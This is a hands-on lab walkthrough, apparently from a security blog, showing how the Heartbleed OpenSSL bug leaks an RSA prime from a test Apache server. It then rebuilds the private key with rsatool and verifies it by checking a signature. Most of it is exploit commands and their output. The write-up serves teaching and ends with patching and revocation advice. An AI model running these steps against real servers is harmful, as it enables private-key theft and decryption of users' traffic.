Heartbleed – Got prime number?

I would like to demonstrate a hand’s on scenario that will allow one to have a better practical understanding on how someone could exploit the OpenSSL bug known as Heartbleed to retrieve the server RSA private key which is used to encrypt the SSL/TLS communications. The environment consists of 2 virtual machines. The victim is running Ubuntu 12.04-4  and the Evil is running Kali Linux. On the victim machine I installed Apache with SSL and created a self signed certificate by issuing the following command:.

root@ubuntu:~#openssl req -x509 -nodes -days 365 -newkey rsa:1024 
-keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt

The versions of Apache and OpenSSL are as follow:

root@ubuntu:~# uname -srvnmapi
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP
 Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu:~# openssl version -a
OpenSSL 1.0.1 14 Mar 2012
root@ubuntu:~# apache2ctl status
Server Version: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
mod_ssl/2.2.22 OpenSSL/1.0.1

On the Evil machine I download the Heartbleed exploit tool that was initially created by Jared Stafford and later modified by SensePost. This modified version of the Heartbleat exploit tool allows to dump 65k of data from the server heap memory. This 65k of data among other sensitive information might contain information about the private RSA key used in the SSL/TLS protocol.

In order to give you more background, essentially, the difficulty of RSA rests on the mathematical problem of factoring large numbers into its prime factors.  When generating RSA keys the system starts by generating two large primes, P and Q, and compute their product N = PxQ. N is called the modulos. The following picture shows the various components that constitute a private RSA key and a X.509 certificate with a RSA public key.

RSA

The exploit tool is able to search and extract one of the prime numbers from the leaked data. Because the modulus is public, if you know one prime number you can deduct the other one.  We start by downloading the public certificate from the website and saving is as apache.crt

root@kali# echo | openssl s_client -connect 192.168.1.13:443 2>/dev/null | openssl x509
-----BEGIN CERTIFICATE-----
MIIDIDCCAomgAwIBAgIJAKeTWVOzYsE+MA0GCSqGSIb3DQEBBQUAMIGoMQswCQYD
VQQGEwJQVDEPMA0GA1UECAwGTGlzYm9hMQ8wDQYDVQQHDAZMaXNib2ExEzARBgNV
BAoMCkNvdW50IFVwb24xETAPBgNVBAsMCFNlY3VyaXR5MSIwIAYDVQQDDBl3d3cu
Y291bnR1cG9uc2VjdXJpdHkuY29tMSswKQYJKoZIhvcNAQkBFhxscm9jaGFAY291
bnR1cG9uc2VjdXJpdHkuY29tMB4XDTE0MDQxNDE5NTcwNVoXDTE1MDQxNDE5NTcw
NVowgagxCzAJBgNVBAYTAlBUMQ8wDQYDVQQIDAZMaXNib2ExDzANBgNVBAcMBkxp
c2JvYTETMBEGA1UECgwKQ291bnQgVXBvbjERMA8GA1UECwwIU2VjdXJpdHkxIjAg
BgNVBAMMGXd3dy5jb3VudHVwb25zZWN1cml0eS5jb20xKzApBgkqhkiG9w0BCQEW
HGxyb2NoYUBjb3VudHVwb25zZWN1cml0eS5jb20wgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBANoYD4JBBUsRwsKFsm55tmsL/MgRN7kTTxkto4PTR1fVEVqhZSBs
XB9bdR+d3EDnvVWi2fUN5lBFHlD+YK+gy1W/x8D1gfgYuHpvm1rYaiWFP2ZFoggG
NUcwr2sgKx/wshTnAgJIOFf74JbwXQc7YCtVaZID4cR2t9plv4COGf4hAgMBAAGj
UDBOMB0GA1UdDgQWBBT3ExDfxRcNeEBd37mUFLirSXe4QjAfBgNVHSMEGDAWgBT3
ExDfxRcNeEBd37mUFLirSXe4QjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUA
A4GBAL6cmdwj8opTjqt3HgZ5RcneNCpkrgAF7+AEm8F+Sg/7j2wl3Pl5nbGBDDGX
LjS1j87GkhxtKJPhvNcl/mpL3/AlaVilCsBmtCzHX+eKOsibizSraat1/20DHy56
b+4Z42rBJ3xZE2eykky6p+Avog9RZjua7/pEz/0e/o4r915i
-----END CERTIFICATE-----

We then launch the tool. As parameters we specify the IP address of the vulnerable website and its public certificate that was retrieved with the previous command. The tool uses the public certificate to retrieve its modulus which is then used to search for a prime number.

root@kali# ./heartbeat.py 192.168.1.13 apache.crt
Using modulus: DA180F8241054B11C2C285B26E79B66B0BFCC81137B9134F192DA383D3
4757D5115AA165206C5C1F5B751F9DDC40E7BD55A2D9F50DE650451E50FE60AFA0CB55BFC
7C0F581F818B87A6F9B5AD86A25853F6645A20806354730AF6B202B1FF0B214E702024838
57FBE096F05D073B602B55699203E1C476B7DA65BF808E19FE21
Using key size: 64
Scanning 192.168.1.13 on port 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server sent server hello done
Server TLS version was 1.2
Sending heartbeat request...
Got length: 16384
 ... received message: type = 24, ver = 0302, length = 65551
Received heartbeat response:
Got result:
133549233346294978773221965530990175969878245116491771849452351001024135
067393744354025499347083676843923388568161993257203947857711380070562074
61090554397
found prime: 0xfefd816751054d08836aca2c5cfce8bc68cfc22cfc13b706ecb59ddb9
0d1bd9742ca3b85f28c55c49fb57674420ea87d08b7039b029bbb842fbde9dcb903721dL

Winner winner chicken dinner! We got a prime number.  Now that we know one of the primes’ number and the modulus we just need to compute the other prime number and generate the private key. To compute the second prime number we just divide the modulus by the prime number. Then we execute a tool called rsatool made by Joerie de Gram which can calculate the key given two prime numbers.

For the sake of brevity we will skip these steps but basically you can do it all in the command line as shown in the following figure. Or you could use CrypTool on windows.

primenumber

Following that we just need to execute the rsatool and provide the two prime numbers in order to generate the private key. The rsatool can be downloaded here. You might need to install Gmpy but the detailed instructions to do that are here.

root@kali# python rsatool.py -p 1335492333462949787732219655309901759698
782451164917718494523510010241350673937443540254993470836768439233885681
6199325720394785771138007056207461090554397 -q 1146774128500603561764050
745367493835523702158740387838096036303540757250331031911005216535720559
9697566790924903103501535799885761545468408467346567363797 -n 1531508056
826211681974537330840356849277758921626835581250122250838514123615018183
396077094172638075116313068392469570174902856192052912011542053612442154
616797085755092200877453744373797466581474136422124607072662096594483438
272246656487606364948421705699136573393920499818962351507943024737552870
65516965409 -o apache-recovered.key
Using (p, q) to initialise RSA instance
Saving PEM as apache-recovered.key

Now that we got the private key how can we test it that is valid? Among others, one thing we could easily do is to digitally sign a file with the original private key and verify its signature with the recovered public key.

Let’s first sign a file in the victim machine.

root@ubuntu# echo "Sign this piece of information" > filename
root@ubuntu# openssl dgst -md5 -sign apache.key -out signature filename

Then in the Evil system we could verify it using the recovered public key which means we possess the private key.

root@kali# openssl rsa -in apache-recovered.key -pubout > apache-recovered.pub.key
root@kali# openssl dgst -md5 -verify apache-recovered.pub.key -signature signature filename
Verified OK

Among other things we could pull of a man-in-the-middle attack and decrypt the SSL traffic using the recovered key. As you could see almost no knowledge is needed to run this exploit against a vulnerable server but its consequences are severe. For sure many companies are still recovering from the OpenSSL vulnerability and many others will benefit from doing lessons learned on how to improve their incident handling capability in order to be better prepared for such worst case scenarios. This has been a serious bug and you might want to consider changing your passwords in case you have an account in the following sites. If you own a website or any other service that uses OpenSSL like OpenVPN you want to patch it now! Certificates and keys at risk of compromise should be revoked and replaced. One interesting consequence of this bug was the amount of certificates that have been revoked in the last days.

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